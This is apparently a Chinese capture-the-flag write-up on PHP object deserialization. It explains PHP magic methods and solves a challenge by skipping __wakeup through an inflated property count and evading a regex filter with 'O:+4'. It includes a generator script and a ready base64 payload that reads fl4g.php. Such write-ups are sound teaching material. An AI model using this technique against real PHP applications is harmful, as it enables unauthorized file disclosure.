前提知识了解
-
__construct函数:具有该函数的类会在每次创建对象时先调用此方法,作初始化工作
-
__destruct函数:会在某个对象的所有引用都被删除或者对象被显示销毁时执行
-
__sleep函数会在序列化之前被调用
-
__wakeup函数:unserialize函数会检查是否存在wakeup函数,如果存在,则会先调用__wakeup函数,预先准备对象所需的资源
-
__wakeup()执行漏洞,一个字符串或对象被序列化后,如果其属性被修改,则不执行__wakeup函数,这是一个绕过点
开始解题
拿到题目看到一段代码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
- 绕过__wakeup:发现__ destruct函数的功能是显示我们传入的文件内容,但__wakeup函数会将file参数指向index.php,所以我们要绕过这个函数(使这个函数不执行),正常序列化结果“O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。为了绕过__wakeup(),我们将1改为任意大于1的都行,如“O:4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}”
- 绕过正则匹配:
preg_match('/[oc]:\d+:/i', $var)表示匹配o或c加冒号加任意数字的形式,为了绕过,我们可以将
“O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”中的4改为+4:“O:+4:“Demo”:3:{s:10:“Demofile”;s:8:“fl4g.php”;}”,然后对其进行base64编码<?php class Demo { private $file = 'fl4g.php'; } $x= serialize(new Demo); $x=str_replace('O:4', 'O:+4',$x);//绕过preg_match() $x=str_replace(':1:', ':3:',$x);//绕过__wakeup() echo base64_encode($x); ?>
得payload为:?var=TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==